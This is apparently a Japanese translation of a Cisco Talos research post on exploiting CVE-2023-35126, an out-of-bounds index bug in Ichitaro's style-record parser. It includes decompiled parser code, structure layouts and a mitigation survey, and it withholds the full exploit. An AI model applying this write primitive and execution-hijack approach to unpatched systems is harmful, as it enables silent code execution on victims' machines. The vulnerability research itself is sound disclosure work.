- Cisco Talos は昨年、ジャストシステム社のワープロソフト一太郎に存在する複数の脆弱性を明らかにしました。複雑なこれらの脆弱性は、徹底的なリバースエンジニアリングによって発見されました。
- CVE-2023-35126 とこれに類似した脆弱性(CVE-2023-34366、CVE-2023-38127、CVE-2023-38128)はいずれもエクスプロイト可能で、任意コードの実行に成功する可能性があると評価されました。
- 先例を作るために、CVE-2023-35126 が提供する限られたプリミティブだけを使用して、任意コードの実行の完全なエクスプロイトが開発されました。JP CERT の評価とは対照的に、脆弱性の深刻度が明らかになっています。
- エクスプロイトの開発にあたっては、一太郎の複雑なファイル形式と実装されている内部の仕組みをしっかりと理解する必要がありました。つまり、潜在的な攻撃者がエクスプロイトの開発に成功するためには、同様にエクスプロイトの研究を行う必要があります。
- 開発したエクスプロイトは、境界外のインデックスの脆弱性を、フレームポインタの上書きの脆弱性に変えるものです。ペイロードがサイレントに実行された後、プロセスが修復されるので、アプリケーションがドキュメントの残りの読み込みを完了できます。標的となる被害者に気付かれないよう、プロセスをサイレントに実行し続けることが重要です。
- エクスプロイトのペイロードは脆弱性から明確に分離されていて、ビルド時に指定されている任意のドキュメントストリームから復号できます。開発された実証済みのツールと手法は、今後同様の脅威が発生した際に、より適切に評価し、より迅速に理解するのに役立つと思われます。
- 完全なエクスプロイトコードの公開は控えますが、一般的ではない脆弱性に対するエクスプロイトの開発に伴う複雑さを紹介し、エクスプロイトの緩和策の重要性を強調することが重要だと Talos では考えています。
概要
ジャストシステム社のワープロソフト一太郎は、Microsoft Office 365 に似た同社のオフィス製品スイートの一部です。他の国ではあまり知られていませんが、日本では大きな市場シェアを持っています。特定の地域で人気があるこの種のアプリケーションは見落とされがちで、過去、悪意のあるエクスプロイトを使用した攻撃の標的になったことがあります。Cisco Talos が過去 1 年間に実施した脆弱性調査により、一太郎に深刻度の高い脆弱性が複数存在することが明らかになりました。これらの脆弱性を攻撃者がエクスプロイトして、任意コードの実行などさまざまな悪意のある行為を行えるようになる可能性があります。ジャストシステム社は、シスコのサードパーティベンダー脆弱性開示ポリシーに従って、このブログ記事で取り上げているすべての脆弱性を修正しています。
単純なファジングは、この種のアプリケーションに対してはほとんど効果がありません。機能と、それをサポートするファイル形式が複雑なので、ファジングや手動のコード監査によって効果的にバグを見つけるには、徹底したリバースエンジニアリングが必要でした。このリバースエンジニアリングにより、一太郎の内部動作をしっかりと把握することができました。今回得た知見は、今後発見される脆弱性の深刻度をより適切に評価するうえで役立ちます。
見つかった脆弱性は概して複雑で、脆弱性に到達するのもトリガーするのも困難でした。現時点では、1 件の脆弱性、具体的には TALOS-2023-1825(CVE-2023-35126)に焦点を当てることにします。デモの目的で、一太郎 2023 バージョン 1.0.1.59372 を使用しています。ジャストシステム社は、セキュリティ アップデート モジュール(update: 2023.10.19)でこの脆弱性を修正しました。Talos が重点を置いているのは、根本原因とエクスプロイト可能性の分析を行う際に使用する方法です。
単なる概念実証コードの作成とは異なり、メモリ破損のエクスプロイトは開発に時間がかかるため、軽く考えるわけにはいきません。より高度なエクスプロイト緩和策が導入されると、特定の脆弱性がエクスプロイト可能かどうか、また脆弱性の深刻度がどの程度なのか評価することは難しくなります。脆弱性の評価には、エクスプロイト同値クラスが役に立ちます。ある状況で解放済みメモリ使用(use-after-free)の脆弱性がエクスプロイトされた場合、類似の解放済みメモリ使用の脆弱性はすべてエクスプロイト可能ということになります。ターゲット(攻撃対象)として最も一般的なブラウザや OS カーネルなどについてはエクスプロイト同値クラスが作成されていますが、これまで知られていなかった種類のソフトウェアを扱う際には、頼みにできる先例がありません。
これは、脆弱性の深刻度を判断する際に特に重要です。Talos でこの脆弱性を評価したところ、CVSS 3.1 スコアは 7.8(CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)でしたが、JP CERT が付けたスコアは 3.3(CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L)でした。任意コードの実行が可能だと JP CERT は判断しなかったからです。脆弱性の深刻度が著しく過小評価されており、これでは、セキュリティアップデートを無視する可能性のあるユーザーに不必要なリスクがもたらされます。Talos は、この脆弱性のエクスプロイト可能性を実証して先例を作ることにより、状況を改善し、今後発見される脆弱性についてエクスプロイト可能性の評価を適切に行えるようにすることを目指しています。
一般的なターゲットの脆弱性をエクスプロイトする際は、よく知られている手法を使用できます。たとえば JavaScript エンジンの脆弱性をエクスプロイトする場合は「addrof/fakeobj」というよく知られた抽象化手法が使用されます。ただし、こうした一般的な手法をすべてのターゲットで使用できるわけではありません。双方向性がない場合もあれば、脆弱性の場所によっては、エクスプロイト可能なほどには攻撃者がターゲットに十分な影響を与えられないこともあります。
Talos は、深刻度が限定的だと評価されていた、一太郎で発見された脆弱性の 1 つを詳細に分析しました。この脆弱性と、脆弱性が存在するコードの副作用を利用して、より強力なエクスプロイトプリミティブを構築することができ、最終的に完全な任意コードの実行に成功しました。エクスプロイトの成功は、これらの脆弱性ファミリについて Talos が行った評価の信頼性を高めるものであり、この結果に基づいて、今回の調査を実施するのに必要な構成要素、ツール、方法論を文書化し、実証しています。
形式
ワープロソフト一太郎がサポートする主なドキュメントタイプは、.jtd というファイル拡張子を使用し、Microsoft Compound Document として保存されます。複合ドキュメントファイルは、複数のコンテンツストリームで構成される階層構造となっており、各ストリームが名前情報を持っています。このため、ファイルシステムに近い見た目です。主要 API も Microsoft 社によって COM 経由で公開されていて、ドキュメントを開くために API が使用されると、IStorage インターフェイスを実装するオブジェクトを返します。結果的に、この形式は Microsoft Office スイートなど一部の Microsoft コンポーネントで長らく使用されており、Microsoft 社によって詳細に文書化されています(「[MS-CFB]: Compound File Binary File Format」を参照)。
Microsoft Compound Document 形式を利用するソフトウェアの実装者は、ファイルシステムのような機能を利用して、ドキュメントの内容に関連するさまざまなストリームを保存します。したがって、ドキュメントを読み込むように要求されると、アプリケーションはドキュメントからディレクトリエントリのリストを読み取り、ストリーム名を抽出します。抽出されたストリーム名は、個々のストリームの内容にアクセスし、ドキュメントを復元するのに必要な部分を読み込むために使用されます。
ストリームをストリーム名で参照するこのロジックから、リバースエンジニアはパターンを突き止め、特定のストリームがバイナリによって解析されている場所を見つけることができます。このパターンを標準 API と組み合わせれば、アプリケーションのどの部分がドキュメントとやり取りしているかを特定できるようになります。
このパターンを使用して TALOS-2023-1825 が発見され、CVE-2023-35126 として報告されました。まず空のドキュメントファイルを調べてみると、構造を保存するためのドキュメントディレクトリに、いくつかのストリームとストリーム名が見つかります。これらのストリーム名の一部と、バイナリのアドレス空間に読み込まれたモジュールを照合すると、そのストリーム名を参照する単一のバイナリが特定されます。
アプリケーションによって生成されたドキュメント内で見つかったデフォルトのストリーム名を使用して、アプリケーションに属する各バイナリを検索し、対応するストリーム名を参照しているライブラリを特定することが可能です。以下のコマンドは、そうした検索の例です。
正しいバイナリが見つかったら、文字列を照合するだけで、対応するストリームとのやり取りに使用されている可能性のある関数のリストを特定できます。以下のスクリーンショットでは、各ストリーム名が互いに近くに配置されています。候補となる関数のリストが特定されたら、そのリストを使用してデバッガでブレークポイントを設定し、ドキュメントの解析に関連する関数を列挙することができます。
検出
問題のバグを発見するには、まずストリーム名の場所を特定し、それらへの命令参照を列挙してから、各参照で共有される共通の呼び出し元を見つけます。次のスクリーンショットは、これを行うのに使用した IDA Python スクリプトです。選択されたアドレスのリストを受け取り、それぞれの実行への参照を取得し、各参照を個別のセットにグループ化してから、すべてのセットに共通している部分を見つけるという内容です。この結果、選択したストリーム名に関連する処理を実行する単一の関数アドレスが特定されます。
発見されたアドレス 0x3BE25803 に関連する関数を調べたところ、空のドキュメントからリストされたすべてのストリーム名を参照しているようで、それらのストリーム名を使用して何らかの初期化を行っています。このアドレスにブレークポイントを設定してアプリケーションを実行すると、ドキュメントを開いたときにこのコードが実行されることをデバッガで確認できます。同じデバッグセッション中にバックトレースを調べると、アプリケーションがドキュメントのストリームを解析する方法を特定するための明確なパスが得られます。
0x3BE25803 の関数には、0x3C1FAF0F に単一の呼び出し元があり、逆アセンブラでそこに移動できます。この呼び出し元から呼び出される各関数を使用して、ドキュメントのストリーム名が参照されている他の場所を特定できます。これは一般的なパターンであり、各ストリーム名を、そのストリームを解析する関数、あるいは、後でストリームの解析時に使用される変数のスコープを初期化する関数にマップするために使用されます。
int __thiscall object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be(
object_9c2044 *this,
JSVDA::object_OFRM *ap_oframe_0,
int av_documentType_4,
int av_flags_8,
int av_whichStream_c,
_DWORD *ap_result_10)
{
lp_this_64 = this;
p_result_10.ap_unkobject_10 = (int)ap_result_10;
lp_oframe_6c = ap_oframe_0;
constructor_3a9de4(&lv_struc_38);
lv_result_4 = 0;
sub_3BE29547(lv_feh_60, 0xFFFF, 0);
…
lv_struc_38.v_documentType_8 = av_documentType_4;
lv_struc_38.v_initialParsingFlags_c = av_flags_8;
lv_struc_38.p_owner_24 = lp_this_64;
lv_struc_38.v_initialField(1)_10 = 1;
lv_position_7c = 4;
if ( av_whichStream_c == 1 || av_whichStream_c == 3 || av_whichStream_c == 4 ) // Determine which stream name to use
{
v9 = “DocumentViewStyles”;
}
else
{
…
v9 = “DocumentEditStyles”;
}
v10 = object_OFRM::openStreamByName?_132de4(lp_oframe_6c, v9, 16, &lp_oseg_68); // Open up a stream by a name.
if ( v10 != 0x80030002 )
{
…
*(_QWORD *)&lp_oframe_70 = 0i64;
if ( object_OSEG::setCurrentStreamPosition_1329ce(lp_oseg_68, 0, 0, 0, 0) >= 0 // Read a two 16-bit integers for the header
&& object_OSEG::read_ushort_3a7664(lp_oseg_68, &lv_ushort_74)
&& object_OSEG::read_ushort_3a7664(lp_oseg_68, &lv_ushort_78) )
{
if ( (unsigned __int16)lv_ushort_74 <= 1u )
{
lv_struc_38.vw_version_20 = lv_ushort_74;
lv_struc_38.vw_used_22 = lv_ushort_78;
…
v12 = 0;
for ( i = 4; ; lv_position_7c = i ) // Loop to process contents of stream
{
v25 = v12;
v14 = struc_3a9de4::parseStylesContent_3a7048(&lv_struc_38, lp_oseg_68, i, v12, av_whichStream_c, p_result_10, 0);
v_result_8 = v14;
if ( v14 == 0xFFFFFFE8 )
break;
if ( v14 != 1 )
goto return(@edi)_3a78dd;
i = lv_struc_38.v_header_long_4 + 6 + lv_position_7c;
v12 = ((unsigned int)lv_struc_38.v_header_long_4 + 6i64 + __PAIR64__(v25, lv_position_7c)) >> 32;
}
v_result_8 = 1;
}
…
return v_result_7;
}
このリストに示しているのは 0x3C1FAF0F にある関数の先頭部分であり、関数名は object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be です。この関数は DocumentViewStyles ストリームを参照しています。具体的には、DocumentViewStyles 文字列と DocumentEditStyles 文字列の両方が参照されており、両者を区切っているのは 1 つの条件文だけです。したがって、両方のストリームはおそらく同じ実装を使用して内容を解析し、両者を区別するためにパラメータが使用されています。同じ関数の最後には、ストリームの可変長コンテンツを処理するために使用されていると思われるループがあります。このループの反復ごとに呼び出される関数を調べると、以下のスクリーンショットに示す関数が見つかります。そこそこ複雑な関数で、16 ビット整数をキーとして使用し、いくつかのレコードタイプを処理しているようです。この関数の形状は以下のようになっています。
以下のリストは、ストリームからレコードタイプを解析する、上のスクリーンショットの関数を逆コンパイルしたものです。このメソッドによって実装されたさまざまなケースを調べると、約 10 種類のレコードタイプの解析をしていることがわかります。個々のレコードタイプを解析するために使用される関数のほとんどは、その前に別の関数が呼び出され、必要なフィールドが構築され初期化された後に、対応するレコードを処理するようになっています。つまり、これらのフィールドに関連する条件付き割り当てを使用できるのはドキュメントのインスタンスごとに 1 回だけであり、エクスプロイトプロセス中にスタックに残されるデータの予測不可能性を回避するために、先に呼び出されている必要があるということです。
int __thiscall struc_3a9de4::parseStylesContent_3a7048(
struc_3a9de4 *this,
JSVDA::object_OSEG *ap_oseg_0,
int av_position(lo)_4,
int av_position(hi)_8,
int av_currentStreamState?_c,
frame_3a7048_arg_10 ap_unkobjectunion_10,
frame_3a7048_arg_14 ap_nullunion_14)
{
lv_result_4 = 0;
p_oseg_0 = ap_oseg_0;
…
v_documentType_8 = this->v_documentType_8;
v_boxHeaderResult_0 = struc_3a9de4::readBoxHeader?_3a6fae(this, ap_oseg_0);
if ( v_boxHeaderResult_0 != 31 )
{
…
vw_header_word_0 = (unsigned __int16)this->vw_header_word_0; // Check first 16-bit word from stream
p_owner_24 = this->p_owner_24;
lp_owner_8 = p_owner_24;
if ( vw_header_word_0 > 0x2003 )
{
v_wordsub(2004)_0 = vw_header_word_0 – 0x2004;
if ( v_wordsub(2004)_0 )
{
v_word(2005)_0 = v_wordsub(2004)_0 – 1;
if ( !v_word(2005)_0 )
{
if ( av_currentStreamState?_c != 5 ) { // Check for record type 0x2005
struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
p_styleObject_3a712c = struc_3a9de4::readStyleType(2005)_3a6bec(this, p_oseg_0, this->v_header_long_4, Av_parsingFlagField_8 == 3);
goto returning(@eax)_endrecord_3a736f;
}
goto returning(1)_endrecord_3a70f9;
}
v_wordsub(2006)_0 = v_word(2005)_0 – 1;
if ( v_wordsub(2006)_0 )
{
v_word(2007)_0 = v_wordsub(2006)_0 – 1;
if ( v_word(2007)_0 )
{
v_word(2008)_0 = v_word(2007)_0 – 1;
if ( !v_word(2008)_0 )
{
…
if ( p_object_60 )
{
LABEL_93:
p_styleObject_3a712c = object_9d0d30::readStyleType(2008)_391906( // Process record type 0x2008
p_object_60,
p_oseg_0,
this->v_header_long_4,
Av_parsingFlagField_8,
this->v_documentType_8,
ap_unkobjectunion_10.ap_unkobject_10,
&lv_result_4);
goto returning(@eax)_endrecord_3a736f;
}
goto returning(@esi)_endrecord_3a7625;
}
if ( v_word(2008)_0 == 8 )
{
…
p_styleObject_3a712c = object_9d0d30::readStyleType(2010)_392cab( // Process record type 0x2010
field(64)_6bf3a6,
p_oseg_0,
this->v_header_long_4,
Av_parsingFlagField_8,
this->v_documentType_8,
ap_unkobjectunion_10.ap_unkobject_10,
(int)&lv_result_4);
goto returning(@eax)_endrecord_3a736f;
}
goto returning(@esi)_endrecord_3a7625;
}
goto check_pushStream_3a73fe;
}
…
}
…
}
…
return p_result_3a705e;
}
if ( vw_header_word_0 == 0x2003 )
{
if ( (Av_parsingFlagField_8 != 3 || ap_unkobjectunion_10.ap_unkobject_10
&& (*(_BYTE *)(ap_unkobjectunion_10.ap_unkobject_10 + 0x204) & 0x40) != 0) && av_currentStreamState?_c != 5 )
{
struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
p_field(38)_55 = object_10cbd2::get_field(38)_7b15a6(lp_owner_8->v_data_290.p_object_48, 0);
p_styleObject_3a712c = object_9bd120::readStyleType(2003)_1d63a3( // Process record type 0x2003
p_field(38)_55,
p_oseg_0,
this->v_header_long_4,
Av_parsingFlagField_8,
ap_unkobjectunion_10.ap_unkobject_10);
goto returning(@eax)_endrecord_3a736f;
}
goto returning(1)_endrecord_3a70f9;
}
v_wordsub(1000)_0 = vw_header_word_0 – 0x1000;
if ( v_wordsub(1000)_0 )
{
v_wordsub(1001)_0 = v_wordsub(1000)_0 – 1;
if ( !v_wordsub(1001)_0 ) // Process record type 0x1001
{
…
p_styleObject_3a712c = object_9e5ffc::readStyleType(1001)_1b8cd2(p_object_190c, p_oseg_0, this->v_header_long_4, 0);
goto returning(@eax)_endrecord_3a736f;
}
v_word(1001)_15 = v_wordsub(1001)_0 – 1;
if ( !v_word(1001)_15 ) // Process record type 0x1002
{
if ( av_currentStreamState?_c != 3 && av_currentStreamState?_c != 4
&& (Av_parsingFlagField_8 != 3 || ap_unkobjectunion_10.ap_unkobject_10
&& (*(_DWORD *)(ap_unkobjectunion_10.ap_unkobject_10 + 516) & 0x100) != 0) )
{
…
struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
if ( ap_nullunion_14.object_e7480 )
{
p_styleObject_3a712c = object_e7480::readStyleType(1002)_77a7bf(
ap_nullunion_14.object_e7480,
p_oseg_0,
this->v_header_long_4,
v_documentType_8,
Av_parsingFlagField_8,
0);
goto returning(@eax)_endrecord_3a736f;
}
}
goto returning(1)_endrecord_3a70f9;
}
v_wordsub(1fff)_15 = v_word(1001)_15 – 0xFFE;
if ( v_wordsub(1fff)_15 )
{
v_word(2000)_15 = v_wordsub(1fff)_15 – 1;
if ( !v_word(2000)_15 ) // Process record type 0x2001
{
if ( av_currentStreamState?_c == 5 )
{
p_field(34)_18 = object_10cbd2::get_field(34)_7b9e07(p_owner_24->v_data_290.p_object_48, 0);
p_styleObject_3a712c = object_9bd0e4::readStyleType(2001)_1d24a9(
p_field(34)_18,
p_oseg_0,
this->v_header_long_4,
Av_parsingFlagField_8,
this->v_documentType_8,
ap_unkobjectunion_10.ap_unkobject_10);
goto returning(@eax)_endrecord_3a736f;
}
if ( Av_parsingFlagField_8 != 3 || ap_unkobjectunion_10.ap_unkobject_10
&& (*(_BYTE *)(ap_unkobjectunion_10.ap_unkobject_10 + 516) & 0x10) != 0 )
{
struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
…
p_field(34)_1f->v_data_4.field_5a8 = 1;
p_styleObject_3a712c = object_9bd0e4::readStyleType(2001)_1b8f99(
p_field(34)_1f,
p_oseg_0,
this->v_header_long_4,
Av_parsingFlagField_8,
this->v_documentType_8,
lp_unkobject_20,
&lv_result_4);
goto returning(@eax)_endrecord_3a736f;
}
returning(1)_endrecord_3a70f9:
lv_result_4 = 1;
goto returning(@esi)_skipRecord_3a762b;
}
if ( v_word(2000)_15 == 1 ) // Process record type 0x2002
{
if ( (Av_parsingFlagField_8 != 3 || ap_unkobjectunion_10.ap_unkobject_10
&& (*(_BYTE *)(ap_unkobjectunion_10.ap_unkobject_10 + 516) & 0x20) != 0)
&& av_currentStreamState?_c != 5 )
{
struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
field(3c)_109b2a = object_10cbd2::get_field(3c)_109b2a(lp_owner_8->v_data_290.p_object_48, 0);
p_styleObject_3a712c = object_9bd184::readStyleType(2002)_1cdcf6(
field(3c)_109b2a,
p_oseg_0,
this->v_header_long_4,
Av_parsingFlagField_8,
ap_unkobjectunion_10.ap_unkobject_10);
p_result_3a705e = p_styleObject_3a712c;
goto returning(@esi)_endrecord_3a7625;
}
goto returning(1)_endrecord_3a70f9;
}
…
}
…
}
…
if ( av_currentStreamState?_c == 3 ) // Process record type 0x1000
{
object_9e5ffc = (object_9e5ffc *)p_object_c->v_data_4.p_object_190c;
if ( object_9e5ffc )
{
p_styleObject_3a712c = object_9e5ffc::readStyleType(1000)_1b6bf7(object_9e5ffc, p_oseg_0, this->v_header_long_4, this);
goto returning(@eax)_endrecord_3a736f;
}
}
else
{
if ( av_currentStreamState?_c == 4 )
{
p_styleObject_3a712c = object_9c2044::readStyleType(1000)_4d951d(
p_owner_24,
p_oseg_0,
this->v_header_long_4,
(frame_3a7048_arg_10)ap_unkobjectunion_10.ap_unkobject_10);
goto returning(@eax)_endrecord_3a736f;
}
…
}
struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b(this, 0);
object_9e5ffc = ap_nullunion_14.object_9e5ffc;
goto readStyleType(1000)_3a7365;
}
return 0xFFFFFFE8;
}
逆コンパイルでリストされている最初の条件セットは、レコードタイプ 0x2005 のパーサーに渡されます。逆コンパイルの結果を見ると、2 番目のケースが、レコードタイプ 0x2008 を解析するために使用されています。このドキュメントで利用される脆弱性全体が含まれるのは、このレコードタイプです。
次のリストは、レコードタイプ 0x2008 のパーサーを示しています。初期化のループにより、静的サイズの配列がすぐに見つかります。この配列への参照を詳しく調べると、関数はインデックスを使用して配列の要素にアクセスし、その際に境界をチェックしません。配列から項目を取得した直後に、その項目が書き込まれます。このように、この境界外のインデックスは、一定サイズの配列への書き込みに使用されているので、かなり有用になります。
int __thiscall object_9d0d30::readStyleType(2008)_391906(
object_9d0d30 *this,
JSVDA::object_OSEG *ap_oseg_0,
int av_size_4,
int av_someFlag_8,
int av_documentType_c,
int ap_nullobject_10,
int *ap_unusedResult_14)
{
…
v34 = 0;
p_object_14 = this->v_data_20.p_object_14;
…
v9 = JSFC::malloc_181e(sizeof(object_9d14a0));
…
if ( v9 )
v10 = object_9d14a0::constructor_38cb12(v9, this->v_data_20.p_object(9c2044)_c, this);
…
this->v_data_20.p_object_14 = v10;
object_9d14a0::addSixObjects_38cb7d(v10);
for ( i = 0; i < 6; ++i ) // Loop for an array with a static length
lv_objects(6)_6c[i] = object_9d14a0::getPropertyForItemAtIndex_37a71d(this->v_data_20.p_object_14, i);
…
while ( lvw_case_84 != 0xFFFF ) // Keep reading records until 0xFFFF
{
switch ( lvw_case_84 )
{
case 0u: // Case 0-4,6,8,9 are similar.
if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lvw_index_70) )
goto LABEL_47;
LOWORD(lv_size_74) = lv_size_74 – 2;
if ( !arena_reader::read_ushort_779780(&lv_triple_80, &v25) )
goto LABEL_47;
lv_objects(6)_6c[lvw_index_70]->v_data_20.v_typeField(0)_14 = v25;
goto LABEL_51;
…
case 5u: // Case 5
if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lvw_index_70) )
goto LABEL_47;
LOWORD(lv_size_74) = lv_size_74 – 2;
…
wstringtoggle_7fb182::initialize_7fb182(&v15, lv_wstring(28)_54);
LOBYTE(v34) = 0;
object_9d15a0::moveinto_field(20,2c)_6c0780(lv_objects(6)_6c[lvw_index_70], v15);
goto LABEL_51;
…
case 7u: // Case 7
if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lvw_index_70) )
goto LABEL_47;
lv_size_74 += 0xFFFC;
if ( !arena_reader::read_int_6b5bc1(&lv_triple_80, &v17) )
goto LABEL_47;
lv_objects(6)_6c[lvw_index_70]->v_data_20.v_typeField(7)_38 = v17;
goto LABEL_51;
…
default:
if ( !arena_reader::read_ushort_779780(&lv_triple_80, &lv_size_74) )
goto LABEL_47;
break;
}
while ( lv_size_74 )
{
if ( !arena_reader::read_byte_405b6c(&lv_triple_80, &lvb_85) )
goto LABEL_47;
lv_size_74 += 0xFFFF;
}
…
}
…
}
インデックスは、オブジェクトへのポインタの配列内の正しい要素を参照するために使用されます。このオブジェクト(object_9d15a0)のサイズは 0x68 バイトで、現在のストリームから読み取られたデータを格納するために使用される整数フィールドで主に構成されています。したがって、この脆弱性により、解析中にどのケースが読み取られたかに応じて、オブジェクトのフィールドの 1 つにデータを書き込めるようになります。それぞれのケースを個別に調べると、実装を object_9d15a0 に書き込む方法は 3 通りあります。
最初のクラスでは、インデックス付きオブジェクトからポインタを逆参照し、その後 32 ビットにゼロ拡張した 16 ビット整数をポインタのターゲットに書き込みます。
2 番目のクラスもポインタを逆参照しますが、ポインタのターゲットに 32 ビット整数を書き込むことができます。
3 番目のクラスはもう少し複雑ですが、1 または 2 に設定できる整数と、その整数の値に応じて解放できるポインタを含む、ある種の Short オブジェクトへの参照を書き込むようです。3 つのクラスのうち、上位 16 ビットが常にクリアされる長さを書き込む予定がない限り、32 ビット整数の書き込みが最も有用であると思われます。
これらのクラスのいずれかのポインタが逆参照された後、ストリームから復号された整数が逆参照されたオブジェクト内のフィールドに書き込まれます。それぞれを個別に調べると、オブジェクトのどのフィールドに書き込まれるのかが正確にわかります。選択したケースに応じて、復号された整数がオブジェクトの +0x34 から +0x60 の範囲内に書き込まれるようです。32 ビット整数のケースと、可能性としては Short オブジェクトのケースだけが役に立ちそうなので、それらが書き込むフィールドに注目し、そのフィールドを使用して上書きに役立つものを見つけることにします。具体的には、Short オブジェクトタイプはケース 0x5 を使用していて、オフセット +0x4c に書き込まれるのに対し、ケース 0x7 の 32 ビット整数タイプはオフセット +0x58 に書き込まれる点に注目します。
Python>struc.by(‘object_9d15a0’).members
<class ‘structure’ name=’object_9d15a0′ size=0x68>
[0] 0+0x4 int ‘p_vftable_0’ (<class ‘int’>, 4) # [vftable] 0x3c4515a0
[1] 4+0x1c JSFC::CCmdTarget::data ‘v_data_4’ <class ‘structure’ name=’JSFC::CCmdTarget::data’ offset=0x4 size=0x1c>
[2] 20+0x48 object_9d15a0::data ‘v_data_20’ <class ‘structure’ name=’object_9d15a0::data’ offset=0x20 size=0x48>
Python>struc.by(‘object_9d15a0’).members[2].type.members
<class ‘structure’ name=’object_9d15a0::data’ offset=0x20 size=0x48>
[0] 20+0x4 int ‘p_vftable_0’ (<class ‘int’>, 4)
[1] 24+0x4 int ‘p_vftable_4’ (<class ‘int’>, 4)
[2] 28+0x2 __int16 ‘field_8’ (<class ‘int’>, 2)
[3] 2a+0x2 __int16 ‘field_A’ (<class ‘int’>, 2)
[4] 2c+0x4 int ‘field_C’ (<class ‘int’>, 4)
[5] 30+0x4 object_9d0d30* ‘p_owner_10’ (<class ‘type’>, 4)
[6] 34+0x4 int ‘v_typeField(0)_14’ (<class ‘int’>, 4) # [styleType2008] 0x0
[7] 38+0x4 int ‘v_typeField(1)_18’ (<class ‘int’>, 4) # [styleType2008] 0x1
[8] 3c+0x4 int ‘v_typeField(2)_1c’ (<class ‘int’>, 4) # [styleType2008] 0x2
[9] 40+0x4 int ‘v_typeField(3)_20’ (<class ‘int’>, 4) # [styleType2008] 0x3
[10] 44+0x4 int ‘v_typeField(9)_24’ (<class ‘int’>, 4) # [styleType2008] 9
[11] 48+0x4 int ‘v_typeField(4)_28’ (<class ‘int’>, 4) # [styleType2008] 0x4
[12] 4c+0x8 wstringtoggle_7fb182 ‘v_typeFieldString(5)_2c’ <class ‘structure’ name=’wstringtoggle_7fb182′ offset=0x4c size=0x8> # [styleType2008] 5
[13] 54+0x4 int ‘v_typeField(6)_34’ (<class ‘int’>, 4) # [styleType2008] 0x6
[14] 58+0x4 int ‘v_typeField(7)_38’ (<class ‘int’>, 4) # {‘styleType2008’: 7, ‘note’: ‘writes 4b integer’}
[15] 5c+0x4 int ‘v_typeField(8)_3c’ (<class ‘int’>, 4) # [styleType2008] 0x8
[16] 60+0x4 int ‘field_40’ (<class ‘int’>, 4)
[17] 64+0x4 JSFC::SomeString ‘v_string_44’ <class ‘structure’ name=’JSFC::SomeString’ offset=0x64 size=0x4>
リストを参照すると、書き込まれる各フィールドの名前は v_typeField(case)_offset です。0x2008 レコードタイプを解析するときに、ストリームから復号された整数がこれらのフィールドのいずれかに書き込まれます。ここで注意しておきたいのは、ケース 7 のフィールド v_typeField(7)_38 では完全な 32 ビット整数を、ケース 5のフィールド v_typeFieldString(5)_2c では 16 ビット文字列へのポインタを、その他のフィールドでは 16 ビット整数をゼロ拡張した 32 ビット整数を書き込めるということです。あとは、境界外のインデックスを使用してポインタを逆参照し、その後、目的のフィールドに書き込むという概念実証コードを作成するだけです。
緩和策
脆弱性を特定したら、ターゲットに適用されている緩和策をすぐに確認できます。これにより、書き込み候補のエクスプロイトを妨げる可能性のあるものをより的確に把握できます。アドレス空間内のモジュールを調べると、DEP(W^X)は有効になっていますが、リストされているモジュールの一部では ASLR が有効になっていないことがわかります。これで、話はかなり簡単になります。特定した脆弱性により、リストにあるモジュール内のほぼすべてを上書きできるからです。このため、実行をハイジャックするために既知のアドレスに書き込むこと以外、ほとんど何もする必要はありません。
以下のスクリーンショットを見ると、ターゲットを上書きから保護するためにフレームポインタとスタックカナリアが使用されていることもわかります。この保護は、この脆弱性のエクスプロイトには直接影響しませんが、コードを実行できるようになった後、別の用途で利用することになるコードに影響を与える可能性があります。
脆弱性の利用
目標の複雑さを増してしまうかもしれないものが特定されたので、脆弱性を再検討し、機能を拡張することにします。最初に行う必要があるのは、逆参照されるポインタを制御することです。使用するポインタはスタック上に配置されるので、アプリケーションによってストリームから解析されるデータがスタック上に配置されるようにする必要があります。こうすることで、境界外のインデックスを使用してポインタを逆参照することができます。
脆弱性のスコープを調べると、object_9c2044::method_processStreams_77af0f でドキュメントがストリームの解析を始めるときから、コールスタックの深さが 3 であることがわかります。コールスタックの深さは、入力を制御できるアプリケーションの部分を表し、用意したドキュメントを使ってアプリケーションに影響を与えることのできるロジックを含んでいます。ファイルから読み取られるデータは、このスコープ内のメソッドの 1 つからしか利用できません。
int __thiscall object_9c2044::method_processStreams_77af0f(
object_9c2044 *this,
JSVDA::object_OFRM *ap_oframe_0,
unsigned int av_documentType_4,
unsigned int av_flags_8,
struc_79aa9a *ap_stackobject_c,
int ap_null_10)
{
…
lp_oframe_230 = ap_oframe_0;
lp_stackObject_234 = ap_stackobject_c;
…
if ( !lv_struc_24c.lv_flags_10 )
{
LABEL_42:
lv_struc_24c.field_14 = av_flags_8 & 0x800;
v10 = object_9c2044::parseStream(DocumentViewStyles)_3a790a(this, ap_oframe_0, av_documentType_4, av_flags_8); // “DocumentViewStyles”
if ( v10 == 1 )
{
v10 = object_9c2044::parseStream(DocumentEditStyles)_3a6cb2(this, lp_oframe_230, av_documentType_4, av_flags_8); // “DocumentEditStyles”
if ( v10 == 1 )
{
v10 = object_10cbd2::processSomeStreams_778971(
this->v_data_290.p_object_48,
lp_oframe_230,
av_documentType_4,
av_flags_8);
if ( v10 == 1 )
{
…
v10 = object_9c2044::decode_substream(Toolbox)_3a6a7b(this, lp_oframe_230); // “Toolbox”
if ( v10 == 1 )
{
v10 = object_9c2044::decode_stream(DocumentMacro)_3a680a(this, lp_oframe_230, av_documentType_4); // “DocumentMacro”
if ( v10 == 1 )
{
v10 = sub_3BE25803(this, lp_oframe_230, av_flags_8);
if ( v10 == 1 )
{
v10 = JSVDA::object_OFRM::decode_stream(Vision_Sidenote)_77310e(this, lp_oframe_230); // “Vision_Sidenote”
if ( v10 == 1 )
{
v10 = object_9c2044::decode_stream(MergeDataName)_3a55d3(this, lp_oframe_230); // “MergeDataName”
if ( v10 == 1 )
{
